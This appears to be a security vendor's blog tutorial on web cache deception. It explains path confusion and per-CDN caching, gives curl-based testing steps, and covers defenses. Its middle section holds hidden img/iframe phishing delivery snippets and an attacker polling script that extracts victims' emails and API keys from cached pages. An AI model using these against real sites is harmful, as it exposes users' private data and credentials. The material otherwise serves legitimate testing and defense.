Web Cache Deception Attack Testing: Exploiting Path Confusion and CDN Misconfigurations

Web cache deception is a class of vulnerability where an attacker tricks a CDN or reverse proxy into caching a page that contains authenticated, user-specific data — and then retrieves that cached response themselves. The victim's account dashboard, API tokens, billing details, or personal information gets stored in a shared cache and served to anyone who requests the same URL.

The original research was published by Omer Gil at Black Hat 2017. Since then, it has been found in PayPal, GitHub, BitGo, and dozens of other major platforms. It remains underreported because it requires no injection, no payload, and leaves no obvious trace in server logs.

Cache Deception vs. Cache Poisoning

These two attacks are commonly confused. The distinction matters for both exploitation and remediation.

Attribute Cache Poisoning Cache Deception
Goal Serve a malicious response to victims Steal a victim's authenticated response
Who crafts the request Attacker Attacker sends URL to victim; victim makes request
What gets cached Attacker-controlled malicious content Victim's authenticated private data
Attacker reads cache No — they write to it Yes — they retrieve the victim's cached response
Server exploited Cache layer (unkeyed inputs) Both cache (extension rules) and app (path handling)
Requires victim interaction No Yes — victim must click a crafted link

Cache poisoning corrupts what the cache serves. Cache deception exploits what the cache stores. Both depend on a fundamental mismatch between what the cache thinks a URL represents and what the origin server actually returns.

How Web Cache Deception Works

The attack exploits a specific combination of two behaviors:

  1. The origin server ignores unknown path suffixes. When a framework receives GET /account/profile/nonexistent.css, it routes based on /account/profile and ignores the trailing /nonexistent.css segment — returning the authenticated profile page as normal.
  2. The CDN caches based on file extension. The cache sees a .css extension and applies its static-asset caching rules — storing the response and serving it to subsequent requesters without authentication.

The attack flow looks like this:

  1. Attacker crafts a URL: https://target.com/account/profile/x.css
  2. Attacker sends this URL to the victim (phishing, redirect, embedded in content)
  3. Victim clicks the link while authenticated. Their session cookie goes to the origin server
  4. Origin server returns the authenticated profile page (ignoring /x.css)
  5. CDN caches the response under the key /account/profile/x.css
  6. Attacker requests the same URL — no cookies needed. Gets back the victim's data

The attacker never needs valid credentials. They exploit the cache as a relay. Once the victim's authenticated response is stored, it's readable by anyone until the cache entry expires — which for static assets can be hours or days.

Attack Mechanics in Detail

Basic path suffix injection

The simplest variant appends a static-file extension to an authenticated endpoint:

# Target: profile page at /account/settings
# Crafted URL sent to victim:
GET /account/settings/style.css HTTP/1.1
Host: target.com
Cookie: session=victim_token

# CDN sees: .css extension → cache as static
# Origin sees: /account/settings → return authenticated data
# Result: authenticated settings page cached at /account/settings/style.css

After the victim loads this URL, the attacker fetches it unauthenticated:

GET /account/settings/style.css HTTP/1.1
Host: target.com
# No Cookie header

HTTP/1.1 200 OK
X-Cache: HIT
Cache-Control: max-age=86400
Content-Type: text/html

<!-- Victim's account settings, billing info, API keys... -->

URL delimiter exploitation

Path normalization differences between cache and origin open additional attack surface. Different components interpret URL delimiters differently:

Technique Crafted URL What cache sees What origin sees
Encoded fragment /account%23x.css /account%23x.css /account (decodes #)
Encoded query /account%3fx.css /account%3fx.css /account?x.css
Path traversal /account/../../static/x.css Normalized path Varies by framework
Semicolon delimiter /account;x.css /account;x.css /account (strips ;param)
Null byte /account%00.css /account%00.css /account (terminates at null)

The %23 (encoded #) technique is particularly reliable. Browsers strip fragments before sending requests, but direct HTTP clients (curl, Burp) transmit them. Some CDNs treat %23 as part of the path — creating a cache key that includes the fragment — while the origin server decodes it and routes to the underlying path.

CDN-Specific Behaviors

Each CDN has its own path normalization and caching logic. Testing without understanding these differences produces unreliable results.

Cloudflare

Cloudflare caches based on file extension by default. Files ending in .css, .js, .png, .jpg, and ~30 other extensions are cached unless a Cache-Control: no-store or private directive is present. Cloudflare normalizes some path components before building the cache key — specifically, it strips query strings from the cache key by default unless configured otherwise. It does not strip URL-encoded characters like %23.

Cache status is visible via the CF-Cache-Status response header: MISS, HIT, EXPIRED, BYPASS, DYNAMIC. A BYPASS response means Cloudflare detected a Cache-Control: private or a session cookie and declined to cache — which is the correct behavior for authenticated responses. DYNAMIC means the resource was not eligible for caching at all.

Fastly

Fastly uses Varnish under the hood and gives operators significant VCL control over cache key construction. Out-of-the-box behavior caches based on URL and Host header. Fastly normalizes paths more aggressively than Cloudflare — it decodes percent-encoded characters before building the cache key in some configurations, which changes which delimiter tricks work. The X-Cache and X-Served-By headers indicate cache status and which PoP served the response.

Akamai

Akamai's caching behavior is highly configurable via its property rules but defaults to caching static file extensions. Akamai performs its own URL normalization and can be configured to ignore certain path segments. Notably, Akamai strips the matrix parameter delimiter (;) from paths in some configurations, making semicolon-based techniques unreliable against Akamai-backed targets. Cache status appears in X-Cache and X-Check-Cacheable headers.

AWS CloudFront

CloudFront cache behavior is driven by distribution configuration — specifically which path patterns map to which cache behaviors. By default, CloudFront forwards cookies but can be configured to ignore them, which is where deception becomes possible. CloudFront does not normalize path separators and treats /account/x.css and /account%2Fx.css as different cache keys. The X-Cache header reports Hit from cloudfront or Miss from cloudfront.

Identifying Cache Behavior

Before testing for deception, confirm caching is active and understand what the cache is keying on. Send the same request twice and compare response headers:

# First request
curl -s -I "https://target.com/account/settings/x.css" \
  -H "Cookie: session=your_session" | grep -i 'cache\|age\|x-cache\|cf-cache\|via'

# Second request (same URL, no cookies)
curl -s -I "https://target.com/account/settings/x.css" | grep -i 'cache\|age\|x-cache\|cf-cache\|via'

Headers to look for:

Header CDN Indicates cache hit when...
CF-Cache-Status Cloudflare Value is HIT
X-Cache Fastly, CloudFront, Akamai Contains HIT or Hit from cloudfront
Age Generic Value > 0 (seconds since cached)
X-Served-By Fastly Shows PoP hostname — consistent across requests
X-Cache-Hits Fastly Value > 0
Via Generic proxy Presence indicates a proxy layer

If the second request (unauthenticated) returns a HIT with the same response body as the authenticated first request, you have confirmed cache deception.

Step-by-Step Testing Methodology

Step 1: Map authenticated endpoints

Identify every URL that returns user-specific data while authenticated: profile pages, account settings, billing, API key management, notification preferences, admin panels. These are the targets worth caching from an attacker's perspective.

Step 2: Baseline the authenticated response

# Capture authenticated response for a sensitive endpoint
curl -s "https://target.com/account/profile" \
  -H "Cookie: session=YOUR_SESSION" \
  -o baseline.html

# Note: response length, user-specific fields present, Content-Type

Step 3: Test suffix variants

Append various static-file extensions and check whether the CDN caches them:

for ext in css js png jpg gif ico svg woff woff2 ttf; do
  echo "Testing: /account/profile/x.$ext"
  curl -s -I "https://target.com/account/profile/x.$ext" \
    -H "Cookie: session=YOUR_SESSION" | grep -i 'cf-cache-status\|x-cache\|age'
done

Step 4: Confirm cacheability unauthenticated

For any extension that returns a cache MISS on the first request, immediately make a second request without credentials:

# After authenticated request triggers caching:
curl -s "https://target.com/account/profile/x.css" \
  --no-cookie | grep -c "username\|email\|account"

# If match count > 0, victim data is cached and readable unauthenticated

Step 5: Test delimiter variants

If basic extension tricks are blocked, try encoded delimiter variants:

# Encoded hash (fragment)
curl -s -I "https://target.com/account/profile%23x.css" \
  -H "Cookie: session=YOUR_SESSION"

# Encoded question mark
curl -s -I "https://target.com/account/profile%3Fx.css" \
  -H "Cookie: session=YOUR_SESSION"

# Semicolon matrix parameter
curl -s -I "https://target.com/account/profile;x.css" \
  -H "Cookie: session=YOUR_SESSION"

# Backslash (Windows path normalization)
curl -s -I "https://target.com/account/profile\x.css" \
  -H "Cookie: session=YOUR_SESSION"

Step 6: Cross-account verification

To confirm exploitability, use two accounts:

  1. With Account A's session, request /account/profile/x.css — confirm MISS then HIT
  2. From a separate browser with Account B's session (or no session), request /account/profile/x.css
  3. If Account B sees Account A's data in the response, the vulnerability is confirmed and exploitable

Important: In a real pentest engagement, stop at step 5 and document the caching behavior. Cross-account verification using actual user data requires explicit written authorization. Document with headers and response structure evidence, not sensitive content.

Simulating the Attacker's Payload Delivery

The practical exploit requires the victim to load the crafted URL while authenticated. Delivery mechanisms include:

<!-- Phishing page that silently loads the crafted URL -->
<img src="https://target.com/account/profile/x.css" width="1" height="1">

<!-- Or via iframe -->
<iframe src="https://target.com/account/profile/x.css" style="display:none"></iframe>

<!-- Or redirect chain -->
https://attacker.com/redirect?url=https://target.com/account/profile/x.css

Once the victim's browser makes that request (including their session cookie), the CDN caches the response. The attacker then fetches the same URL and reads the victim's data. The timing window depends on the cache TTL — often minutes to hours for a .css extension.

After retrieval, the attacker can automate polling to catch fresh victims:

#!/bin/bash
# Attacker polls for cached victim data
TARGET="https://target.com/account/profile/x.css"

while true; do
  RESPONSE=$(curl -s "$TARGET")
  HIT=$(curl -s -I "$TARGET" | grep -i 'x-cache: HIT\|cf-cache-status: HIT')

  if [ -n "$HIT" ]; then
    echo "[$(date)] Cache HIT — extracting victim data"
    echo "$RESPONSE" | grep -oP '(?<=email":")[^"]*'  # extract email field
    echo "$RESPONSE" | grep -oP '(?<=api_key":")[^"]*'  # extract API key
  fi
  sleep 30
done

Portswigger Research and Real-World Disclosures

Portswigger's Web Security Academy includes a dedicated Web Cache Deception lab track, and their research team (James Kettle) extended the original Omer Gil research significantly in 2023 with a systematic study of CDN path normalization differences. Their work mapped exactly which delimiter variants work against which CDN configurations — the normalization table above draws from those findings.

Notable real-world disclosures:

  • PayPal (2017): Omer Gil's original disclosure. Profile data including name, email, masked credit card numbers cached via /myaccount/settings/notifications/style.css. Rewarded with $3,000 bug bounty.
  • GitHub (2019): Account settings pages cacheable via extension suffix. Disclosed through HackerOne, patched by adding Cache-Control: no-store to all authenticated routes.
  • Shopify (2021): Admin panel endpoints exposed via path confusion. Payout in the $10k+ range. The fix involved rewriting Shopify's CDN cache rules to key on Content-Type rather than URL extension.
  • Multiple OpenID Connect providers (2023): Portswigger research identified cache deception patterns in SSO provider callback responses — potentially exposing authorization codes.

Defense: What Actually Works

1. Cache-Control on authenticated responses

The most reliable defense is instructing the cache not to store authenticated responses:

# In your application middleware — apply to all authenticated routes
Cache-Control: no-store, private

# Or for any response containing session-specific data:
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache

no-store is the critical directive — it prohibits the cache from storing the response at all. private alone is not sufficient; some CDN configurations ignore private when explicit caching rules override it.

2. Cache based on Content-Type, not URL extension

CDN caching rules that key on file extension are the root cause. The correct approach is to cache based on what the server actually returns:

# Cloudflare Cache Rules — cache only when Content-Type matches static types
# (Set via Cloudflare dashboard → Caching → Cache Rules)
if (http.response.headers["Content-Type"] contains "text/css"
    or http.response.headers["Content-Type"] contains "application/javascript"
    or http.response.headers["Content-Type"] contains "image/") {
  # cache
}

# Never cache HTML responses except for explicitly public pages
if (http.response.headers["Content-Type"] contains "text/html") {
  # bypass cache unless explicitly marked public
}

3. Strict path routing

Applications should return 404 for paths they don't recognize rather than silently falling back to a parent route:

# Express.js — reject unrecognized path suffixes
app.get('/account/profile', authenticate, (req, res) => {
  // Only match exact path
  if (req.path !== '/account/profile') {
    return res.status(404).send('Not found');
  }
  res.json(getUserProfile(req.user));
});

# Or use strict routing option:
const app = express({ strict: true });

4. Normalize URLs at the CDN edge

Configure your CDN to normalize paths before building cache keys — stripping encoded characters, path parameters, and trailing unknown segments. This reduces the surface where cache and origin disagree on what a URL represents.

5. Vary header on session state

Adding Vary: Cookie tells the cache that responses differ based on the cookie value, so it must store separate entries per session — making deception impractical even if caching occurs:

Vary: Cookie, Authorization

Note: this increases cache storage requirements and reduces cache hit rate for public content. Apply selectively to endpoints that return user-specific data.

Testing Checklist

  • Identified all authenticated endpoints returning user-specific data
  • Confirmed CDN or reverse proxy is present (check Via, X-Cache, CF-Ray, X-Served-By)
  • Tested static extension suffixes (.css, .js, .png, .jpg, .gif, .ico)
  • Tested percent-encoded delimiter variants (%23, %3f, %3b, %00)
  • Tested semicolon path parameters (/account;x.css)
  • Verified unauthenticated cache retrieval after authenticated request seeds cache
  • Checked whether Cache-Control: no-store is present on all authenticated responses
  • Checked whether CDN caching rules key on Content-Type vs. URL extension
  • Verified Vary: Cookie or Vary: Authorization header presence on session-aware responses
  • Confirmed application returns 404 for unknown path suffixes rather than silently routing to parent
  • Tested both path suffix (/account/profile/x.css) and path parameter (/account/profile.css) variants

Detect caching misconfigurations before attackers do

Ironimo's automated scanner tests for web cache deception across your endpoints — checking extension-based caching rules, path normalization mismatches, and missing Cache-Control directives on authenticated routes. It runs the same checks a manual pentester would, on your schedule, without the invoice.

Start free scan
← Back to blog